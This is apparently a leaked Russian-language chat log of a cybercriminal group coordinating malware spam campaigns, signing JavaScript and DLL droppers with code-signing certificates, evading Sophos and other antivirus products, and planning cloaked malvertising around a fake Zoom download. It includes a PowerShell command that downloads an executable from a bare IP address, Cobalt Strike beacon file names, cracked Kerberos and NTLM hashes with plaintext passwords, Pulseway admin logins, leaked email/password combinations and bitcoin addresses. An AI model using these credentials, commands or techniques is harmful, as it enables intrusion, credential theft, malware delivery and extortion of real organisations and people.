и еще они услуги предоставляют другим сетям, может это просто система админимтрирования других сетей, а нет инфы никакой по другим сетям кроме того что они админят

я хз

> <@usernamegg:matrix.bestflowers247.online> aaaaa

`ЭЛЕКТРОТИМ – акционерное общество, начавшее свою деятельность 13 ноября 1998 года. Компания из Вроцлава уже 25 лет реализует свою продукцию на рынках общего строительства, энергетики, промышленного и военного строительства. Компания занимает лидирующие позиции среди польских электромонтажных компаний.`

> <@usernamegg:matrix.bestflowers247.online> да, лучше там чем вот так ☝️

> <@usernamegg:matrix.bestflowers247.online> ```

кажется я нашел где нерпавильно смтп помечало

не прошлем

смтп нужно перечекивать

блин

никак

и странная херя с сертом

$krb5tgs$23$*backup$ET.lokalne$MSSQLSvc/et-serwer-aos.ET.lokalne:1151@ET.lokalne*$ffbfac380b314b569d7...d49c3750c3:Japacel2005

почему начало спрашивать разрешение на запуск

как-будто не подписан js

++

окей

+

да, все сделаю

хороших не пришло за сегодня?

и сможешь пожалуйста закинуть бит сегодня?

ну то что вчера говорили

сек

bc1q62kv4cuxy532g8zk3drpfg9ufdjxtkn9g5e6cs

уже почти домучал)

лендос я ваш стырил)

мне тоже вам надо будет на дропбокс ваши файлы заливать?

> <@usernamegg:matrix.bestflowers247.online> какие ?

ну у вас там щас на выдаче стоит ZoomInstaller.js

Да?

> <@usernamegg:matrix.bestflowers247.online> 8251f3468b7ff144e41fdd695ae4fcf1f6306256d567fc969da3ef7a65ee2543

Мы немного о другом говорим. Я полностью с тобой согласен, что они должны заходить в чат с пониманием того что им придется бабки отдать. Но я не хочу пытаться переубедить тебя или как то себя обелить в этой ситуции. Глобально результат любой сетки - трнса на кошель. Я говорю о том что результат именно твоей работы это раскрученная нами сетка. Простанова это результат общих действий. Именно после этой сети мы приняли некоторые решения по скачке, чистоте коб и т.д

* Я полностью с тобой согласен, что они должны заходить в чат с пониманием того что им придется бабки отдать. Но я не хочу пытаться переубедить тебя или как то себя обелить в этой ситуции. Глобально результат любой сетки - трнса на кошель. Я говорю о том что результат именно твоей работы это раскрученная нами сетка. Простанова это результат общих действий. Именно после этой сети мы приняли некоторые решения по скачке, чистоте коб и т.д

ДА

там есет стоял, я пытался позвать. когда ушел там еще работало

\+

https://www.pulseway.com/enterprise-systems

может еще юсу успеем прослаь

если успеют начекатся норм кол-во смтп

`https://bluetrace.pulseway.com/app/login:JSupport:Ginoloko100!`

на my.pulseway.com с этими кредами не заходит

надо заходить по линку

XX: Я знаю

и они тоже

1k смтп есть

проверил, вот сейчас вроде ок

ну я там не так сделал вчера

короче просто не правильно пометило где валидные а где нет

и поэтому при отправке тупо много невалидных смтп

и тупо не уходило быстро

ок, канаду думаю запустим через 1-2 часа

но еще вопрос с сертом

странная штука

почему интересно у меня начало спрашивать разрешение на запуск

может те два серта отозвали как-то

+

пока только вин32/64 готовы

через пару дней будет линукс

линукс уже начал, его сложней дебажить

а что случилось?

https://oftalmologia2020.com/om/

можно пдфки с этими линками собрать ?

не нужны

> <@usernamegg:matrix.bestflowers247.online> ну что по трафу ?

щас проливаю лендос

файлы же делать вам?

лапа написал, что может юсу запустите, да?

перечекаю, так как у него там порты еще указываются

не под тот формат импортнул

окей

щас

щас проверю инфру на длке

сек

длка та же

ее не надо переделывать

щас JS сделаю

пару минут

ну как, у смтп разные порты бывают =

просто тут скидывают неткоторые, и порты не указаны

в общем, перечекаю

точнее реимпортнул

другим сриптом

серт скоро сбросят?

я еще попросил мелкора пересобрать

13k смтп есть уже

валидных

прошлем канаду

а епт

под те серты я конечно уже построился и написал скрипт, чтобы быстрее все подписывать

file: 5.txt

+

короче мелкор выдал, я подписал

у меня все же спрашивает запуск

но давайте прошлем посмотрим

канаду чисто

запустил канаду

стопнулд

тут еще проблемка есть

нужно пдф пересобрать

короч я проливаю свой скрипт на линк

проверяю выдачу все ок

а потом видимо ав удаляет его

и линк по сути не работает

скоро я выдам другие линки

но уходитят сейчас норм письма по скорости

корочу буду выдавать линки, которые минимум 2 раза проверились на выдачу с промежутком в 10 минут

поставил больше потоков

10 минут подождите

бро привет

по онлайн банкам говорил скиншеь доп инфо

интересна сейчас канада пришла из атача?

или это не проверить?

powershell iwr http://179.60.149.245:802/download/8D.exe -outfile C:\Users\Public\8D.exe

https://quintadospinheirais.pt/etei/

+

image.png

компанию нужно название вводить, не заходит без нее

`https://psa.pulseway.com/Gateway.aspx:administrator:7@uEzsH6EHm[,eZ4`

> <@usernamevv:matrix.bestflowers247.online> компанию нужно название вводить, не заходит без нее

это в ваш чат

да, все что с .aspx

я так понимаю просит название компании ввести

https://www.pulseway.com/blog/what-is-psa-software

это отдельная логинка для других компаний.

типа тебе выбор дается персональная или компания

image.png

http://45.63.67.40/ieua/

и вот с этими линками нужно пдф

отдельно

psa это общая логинка, не та что ты скинуk XX

* psa это общая логинка, не та что ты скинул XX

> <@usernamevv:matrix.bestflowers247.online> я так понимаю просит название компании ввести

но у меня все равно вылетает вакатак на js

считай в 50% случаев

вчера вот такого не было

aga

там одна только упала

болдьше не было

мы смотрим)

ой

пожалуй я не буду туда больше писать)

да ну

запутался

сорян

+

запустил канаду

> <@lapa:matrix.bestflowers247.online> http://45.63.67.40/ieua/

hi

file nyzhno

1 tak to, no ly4she 2 pro zapas

я если что лапе скинул 2 js

ой, 100

zoomadvoffr.com/index2.php

вот такой лендос у нас будет

2 домена

куртить будем домен keitaro

чет даже и скачиваний с канады не особо

уже 70к ушло

который тоже будет под зум тематику

там уже будет клоака

чтобы не пропускать разную нечесть

по типу модеров и так далее

не щас запускаю

щас донастраиваю все

жду еще 2 домена на тдску саму

+

110k ушло

сейчас еще свои пдф прошлю 100к

ну чет нет особо скачиваний с канады

запусков так вообще нет

запуск только один был с канады и все

> Canada [CA]--------------------- 79 3 4%

79 скачиваний

но это за сутки

т.е. еще и со вчерашнего вроде так что-то скачивали

но ушло 150к атачаем

да там еще этот вакатак на js

я хз прям

> <@usernamegg:matrix.bestflowers247.online> а линками обычно как ?

ну максимально что было это 50к за 5 минут в среднем

> <@usernamegg:matrix.bestflowers247.online> мы шлем по всему что есть по канаде

я еще по юсе пустил мелкой

по своим

скоро его пущу

ну уже 200к ушло

его 100к и мои 100к

тишина

запуски вообще не идут

ну я прям хз, у меня палит

деф

скачать не могу

думаю все же бестолку слать

мелочевка даже не идет

я еще взял дедик

завтра проверю как открывается у меня там js

дак он и палит

палил

50 на 50

стопнул, тишина

230к ушло

братец, я такую хуйню придумал

можно просто ахуеть))))

кароче)

я знаю как обойти вообще все ограничения

при рекламе

я все обдумаю и отпишу тебе

можем такие бабки на этом сделать

просто ахуеть

спам просто нервно курит в стороне

там столько трафика сможем выгребать

просто ужас

по мега топовым ключам

просто ужас, что можно сделат

ну мы сможем рекламится по ключуу

zoom download

это очень почти нереально сделать без того, что я сейчас придумал)))

не сделали бы сейчас так, что серт для запуска не канает

та сеток с такого трафика будет столько, что ты просто ахиреешь)

потому что у меня запускается так, как будто js вообще не подписаный

т.е. в окошке нет названия серта

хотя js точно подписан

лан, завтра да другом рдп проверю, пока еще не выдали

до завтра в общем. офаюсь

HttpCrawler.exe

guide.txt

urls.txt

ip.txt

программа для скана веб панелей на сетке

👍️

HttpCrawler.exe

guide.txt

urls.txt

ip.txt

программа для скана веб панелей на сетке

не сейчас, я буду делать это сейчас готовить

кароче суть в том

что я сделаю свой поисковик

который буду рекламить в выавдче гугла

и там реально будет самый обычный поисковик

для всех моедров и так далее, будет обычный поисков

а для реальных юзеров - будет наш оффер

где будет сайт зума

и мы можем абсолютно любой софт так делать

а можно это сделать из-за того, что антимонопольный комиотет выебал гугл

потому что тот не пропускал другие поисковики в выдачу

кароче тема максимально нейтралдьная и ее невозможно спалить)

тобишь нашу рекламу никто не сможет забанить)

выдавать можно абсолютно фейк результатыт и опрерировать это тем, что типо мы сейчас на стадии разрбаотки, собираем статистику, какие ключи реальные люди пишут

кароче тема реально на миллион

очень много проблем сразу отсекается

и мы сможем отливать около 1.5к баксов в день с 1 акка

а это настолько дохуя трафика, что можно просто ахуеть)

и мы сможем обходить лимиты

и лить с агентских аккаунтов

кароче это просто тема на миллион

та хоть с 10

хоть с 20

похер вообще

мы очень много сможем отилвать

и очень много трафика получать

эти поисковики можно копировать просто

делать ребрендинг и все

дизайн 1 и тот же

домен разный

и лого другое

даже больше бабок с 1 акка отливать

```

та вообще любой

свой просто делаешь

и выдаешь рандомные результаты

это я щас сидел смотрел гугл

и думал как его наебать

и вижу что поисковики другие крутятся по очень разным ключам

причем ключи максимально тупые

и время регистрации доменов 12 октября допустим

кароче все легко очень

вот пример

image.png

image.png

вот пример такого поисковика

делается легко

image.png

тупо логотипы меняются и все

всех модеров и под проксями кидает на этот поисковик

а реальных юзеров, которые ЦА

кидает на оффер уже

ну так вот сделаю и все

выдача тупая максимально

у этого серпа

фильтровать можно через adspect

хорошая очень клоака

то есть просто куча доменов, рандомные описания к блоку

и все

можно их даже парсить откуда то

кароче просто мега тема

недолго

думаю часа 2-3

но если не отвлекаться

ни на что

я завтра начну его делать

чтобы заз автра его полностью заокончить

а клоаку думаю адспект буду юзать

надо с ними пообщаться

не блочать ли они корп IP

и так далее

да, окей

я уже готовлю на завтра тебе все

JS щас дочищу

чтобы с утра было все четко

длку проверю

и сразу уже будут планировать на завтра дела по поисковику этому

ага, ну я щас разберусь в нем

и тебе все расскажу

и вникнешь

главное мне сейчас это все настроить

сегодня что то пришло со спама?

`nncdmnc@gmail.com;cbmwcn2fynouqlux;7jjghosovudbosn@monmail.fr.nf`

`riggsharonda@gmail.com;%igD#xsctzewRLcf;dbkdelikat6@yahoomail.com`

`teodoradebarr@gmail.com;%wZFnmJftGtQ#vTPkLnKyr;umawazundoige916@yopmail.com`

да куда я ему в телегу что ли перешлю отсюда))

я тогда сейчас возьму адспект под этот поисковик

за 500 баксов в месяц

окей?

ну чтобы ботов фильтровать

сфоткаю отправлю

они корпы пропускают

и нормальных всех пропускают

?

модераторов рекламных сетей

вот такое оно отклоняют

щас я им еще пару вопросов написал

чтобы уже точно определетися

++

понял

+++

ну я так понял там ребята уже близко

я туда кстати не заходил давно уже

++

na kript samomu kinyt ?

а что там сломалось то у них?

++

аа

дак ты же регал ее

у меня есть акк который я регал

могу дать доступ

откуда?

без почты никак не восстановить

если только выходить на админов саппортов

через кого то

если тебе нужен доступ на форум я тебе могу дать доступ

two_file.zip

есть другая еще учетка

Окай

просто я то не ебу откуда доступ на ту твою почту

na kript 2 komplekta

потому что ты же ее где то взял, не я

братец, а утебя транза отменилась?

bc1q62kv4cuxy532g8zk3drpfg9ufdjxtkn9g5e6cs

на этот помнишь отправлял сегодня, а сейчас пустой кош)

видимо из-за того, что конфирма не было

`omar.shim::EXCEL:1122334455667788:362f3c8a14f326fd9cdec6b28840f108:0101000000000000d048c0aea206da01d1b4a04a7316a5f5000000000800300030000000000000000000000000200000cc6b00be2ceb2e16b759d554eb421e83fe806c25c3853d2aa0eb2af645554e210a0010000000000000000000000000000000000009001e0045005800430045004c005c006f006d00610072002e007300680069006d000000000000000000`

ага

пришли щас

щас ту транзу гляну

> <@usernamegg:matrix.bestflowers247.online> 8251f3468b7ff144e41fdd695ae4fcf1f6306256d567fc969da3ef7a65ee2543

баги в блокчейне это что то новое)

ага, потому что они точно пришли

мне васаби сразу увеодомление дал, а щас когда на адспект отправлял,пишет что типо той транзакции не существует)

вот щас уже конфирм сразу слоивckjdbk

словил

да

все будет

OMAR.SHIM::EXCEL:1122334455667788:362f3c8a14f326fd9cdec6b28840f108:0101000000000000d048c0aea206da01d1b4a04a7316a5f5000000000800300030000000000000000000000000200000cc6b00be2ceb2e16b759d554eb421e83fe806c25c3853d2aa0eb2af645554e210a0010000000000000000000000000000000000009001e0045005800430045004c005c006f006d00610072002e007300680069006d000000000000000000:Jamguys@12

> <@usernameboy:matrix.bestflowers247.online> OMAR.SHIM::EXCEL:1122334455667788:362f3c8a14f326fd9cdec6b28840f108:0101000000000000d048c0aea206da01d1b4a04a7316a5f5000000000800300030000000000000000000000000200000cc6b00be2ceb2e16b759d554eb421e83fe806c25c3853d2aa0eb2af645554e210a0010000000000000000000000000000000000009001e0045005800430045004c005c006f006d00610072002e007300680069006d000000000000000000:Jamguys@12

DAB30747E4650B1D71A30E199FE07AED62239661B7EFA109AFA8E0821690D12B2FF84CE2A114

чел продает килялку любого ав

раньше он поддерживал не все АВ

но сегодня он сделал что бы все можно было килять

требования такие же, на софос и похожие ав, может понадобиться перезагрузка

Система, поиска и уничтожения антивирусов.

итерация линукса готова, впереди долгие тесты, на завтра с 23 еще договорился брейкер потестить чуть чуть

по JS уже почти готово все

по DLL вся инфра жива

завтра еще буду добавлять

можно даже текущую длку сделать, но лучше новый билд сделаю, чтобы в памяти точно детектов не было

понял, да я понял кто такой лорд

да

СОФОС надо обойти

понял

GG: А Бурито когда будет?

ну да

> <@usernamegg:matrix.bestflowers247.online> нашли доступ и там софос ?

пока не понятно что за контора

юса

эрергетики

нужно затянуть чтобы понять, может вообще не большие

так у него же есть пайлоады

или он удаляет?

пон

beacon_x86_9DNS.dll

beacon_x86_10DNS.dll

beacon_x86_11DNS.dll

beacon_x86_12DNS.dll

beacon_x868_DNS.dll

hello

через твою ссыль нашло,ппц))

```

joerns.local_sorted.txt

joerns_dcsync.txt

two_file.zip

na kript 2 komplekta

`nicecloud.nl`

да, давай

COB B.zip

burito: Привет! Те крипты что ты в вск делал этот софос не обходят.

> <@usernamess:matrix.bestflowers247.online> burito: Привет! Те крипты что ты в вск делал этот софос не обходят.

уже

с ними этим всем заниматься в общем?

> <@usernameww:matrix.bestflowers247.online> sent a file.

> <@usernameww:matrix.bestflowers247.online> na kript 2 komplekta

оки)

ты юзал PindOS?

https://xakep.ru/2023/06/26/pindos/

ну это база

просто вдруг там что то интересное

Братец, у меня на завтра все готово, JS почистил, вроде как все четко с ним, завтра сделаю вам

длку с утра билд сделаю, чтобы с актуально инфрой делать всегда

ну и добавлю еще парочку IP

индия и так далее

по поисковику и фильтрации трафика все продумал

домен и сервак для поисковика завтра буду брать

настраивать уже все

думаю завтра уже прототип рабочий

полностью настроеный

по боту тоже есть задачи, идеи как закреп лучше сделать и по дроперу, который в самом боте тоже есть уже варики как улучшить, чтобы все динамик детекты снят,но их по сути и нет, но лучше поменять, так как может начать детектить скоро

Я уже отдыхать пойду

завтра с утру буду тут

да

будет четко все

до завтра тогда

завтра с утра связь

добрых снов

да

> <@usernamegg:matrix.bestflowers247.online> хороего вечера и добрых снов

да

что?

сек

херня)

у нас же лучше)

я так делал очень давно)

еще наверное в начале, когда вам собирал

и то уже вроде тогда палилось

сами функции скачивания из Wscript палятся

щас даже пример кода скину

```

вот пример кода, который делает это

> <@usernamess:matrix.bestflowers247.online> sent a file.

просто скачивает файл

и кладет его куда то

можно записывать в буфер и потом писать

но все это уже палится

палится детектом - Neumcod/Downloader

> <@usernamess:matrix.bestflowers247.online> !

или оьба сразу, или один из них

++

да, давай

завтра связь

добрых снов

ушелк

* ушел

да, дава, сн

burito: Запустил - не пришло

процесс висит(

> <@usernamess:matrix.bestflowers247.online> процесс висит(

вчера ходило вроде как

процесс не гасит софос, там фаерволл скорее всего не пускает

cob16_8080_x86.dll

cob16_443_x86.dll

Ну обьективно, один раз он стукнул и все, больше не стучит. сдох)

аа понял

> <@usernamess:matrix.bestflowers247.online> sent a file.

> <@usernamess:matrix.bestflowers247.online> !

++

rundll32.exe dll.dll,VisibleEntry

а что с кобой?)

19RdXdWXKJxf8SFndnvvpCAxUptBbQpqgG

burito: ничего)

удалил все и позвал exe

длл не работало)

блять

я вертел этот софос

пришлось стопать сервис и удалять его чтоб позвать

а там 87 компов и нет трастов

\а ревеню меньше 5

хреново

завтра буду

я тож)

ок

https://securityonline.info/microsoft-exchange-server-rce-cve-2023-36745-flaw-gets-poc-exploit/

https://github.com/N1k0la-T/CVE-2023-36745

бро привет

сегодня пробуем автоматизировать все и поставить на рельсы наконец. должны пойти боты

------------------

я нашел инструмент под точку через имейлы

у меня не получается оперативно реализовать

мы теряем время

может ты сможешь помочь?

короче надо презентовать тебе эту идею и в целом рассказать что как движется

может на вых?

----

под точечные атаки

в общем все расскажу подробно

может в субботу?

бро я буду часам к 12 на связи, всем задания раздал. надо отойти

```

Привет, жду если что линки от лапы

длку щас скину тебе

`https://securityonline.info/microsoft-exchange-server-rce-cve-2023-36745-flaw-gets-poc-exploit/`

https://github.com/N1k0la-T/CVE-2023-36745

+++

шалом, я тут

хорошую))

спасибо

ок

Привет!

Скоро посмотрю CVE

+

скоро тогда сделаю

dropper_GG7WE_f0adda360d2b4ccda11468e026526576_PGs7HZ.zip

PASS: 43c7f7f3bdcc56dfdcc02f351e31bcbe

вот

ок

njkmrj xnj

только что

тебе хотел скинуть)

в буфере обмена уже было

Нужно Ubuntu 32 RAM 8 CPU с включеной виртуализацией

To exploit the vulnerability, an attacker would first need to gain LAN-access to the victim’s Exchange server. Once they have LAN-access, they could then send a specially crafted HTTP request to the server that would exploit the vulnerability.

выдал мелкору

> <@usernamegg:matrix.bestflowers247.online> https://github.com/N1k0la-T/CVE-2023-36745

ну да

там в скрипте прям они прописаны

LAN-access а что за он?

аа

да нужны будут валидные креды

Capture(1).PNG

мне вот это херня не нравится

я сейчас отключил деф

на новом рдп

все равно как и вчера такая штука всплывает

у подписанного файла!!!

> <@usernamegg:matrix.bestflowers247.online> что там с трафом ? гениальный ты мой

позже буду заниматься

т.е. какбудто и не подписывал файлик

щас как все вам сделаю для запуска спама

а в этом и прикол был использовать крутой серт

буду заниматься трафом

ну мне чисто поисковик этот сделать надо

и все

нет, это я вчерашние проверил

и 250 баксов олтить, чисто на тест

вот на скриншоте видите Uknown Publisher?

хоть когда подписан, там должен быть написан название серта

а вообще, у подписаного, вообще этого окошка не должно быть

ладно, еще посмотрим на европе

если и европа будет плохо идти, значит реально они что-то сделали с сертами

хорошо)

ща я тем другим сертом подпишу

проверю

http://temp.sh/YFxMy/dropper.rar

линками европу прошлю

> <@usernamegg:matrix.bestflowers247.online> новый е линки ему под новый js выдал ?

я пока тут тулзы сталю для подписания

другим сертом

нужно проверить, будет ли при запуске окошко всплывать

> <@usernamegg:matrix.bestflowers247.online> в лнк было реально вшить js и упаковать все в pdf

делалил

у нас был запуск JS из LNK

ааа, ты про это

это бурито или бена?

да, щас гляну

++++

если что ляписа могу выдать

> <@usernamegg:matrix.bestflowers247.online> бурито тоже хороший криптер

я у него соксы криптую

бля, temp.sh не грузит почему то

> <@usernamegg:matrix.bestflowers247.online> они оба у нас на зп

а можешь чисто файлом скинуть

а то temp.sh не грузит

ну я новые файлы щас скинул лапе

150 файлов

https://avcheck.net/id/52z9DP8duaw8

вот по авчеку все чисто

ну и вчера я чистил много в нем

+

это не от бена?

ладно, ок

ща все подпишу и проверю

но вот самым последним сертом как это сделать хз

разбирать нужно

я так все поставил

и чет серт не добавился

чисто

но серт не пашет

я думаю из-за этого будет ниже намного отстук

++

они видимо в офф ущли, а сейчас снова пришли

ну самый последним другим сертом не могу

> <@usernamegg:matrix.bestflowers247.online> 1. Download and install Yubikey Smartcard Minidriver (https://www.yubico.com/support/download/smart-card-drivers-tools/) and Yubikey Manager (https://www.yubico.com/support/download/yubikey-manager/)

я то все поставил

просто еще вопрос а как именно подписать, не написано

TM9i2DoIwlwOTY.js

вот например

все чисто

и бурито длка запустались

давай

и мои JS чистые

что-то они точно сделали, что серт не принимает при запуске

по сути два серта разных проверил

на двух машинах

> <@usernamegg:matrix.bestflowers247.online> запустим без подписи серта ?

ок, скоро тогда запущу европу

запустился

ок буду подписывать так

Run cmd => certmgr.msc and check if the cert was added to the personal certificates storage (if not, disconnect the token and reconnect)

да, уже делаю

у меня короче так и не появился сертификат персональный

реконекты делал

скоро чуть чуть инфры добавлю

и буду уже трафом заниматься

спецсимволы не пропустил? после 3 пункта ничего не происходит

image.png

ща я еще попробую на другом дедике подписать, может в подписаном файле видно где подписан серт и майкрософт палит это

так, ну какие-то запуски есть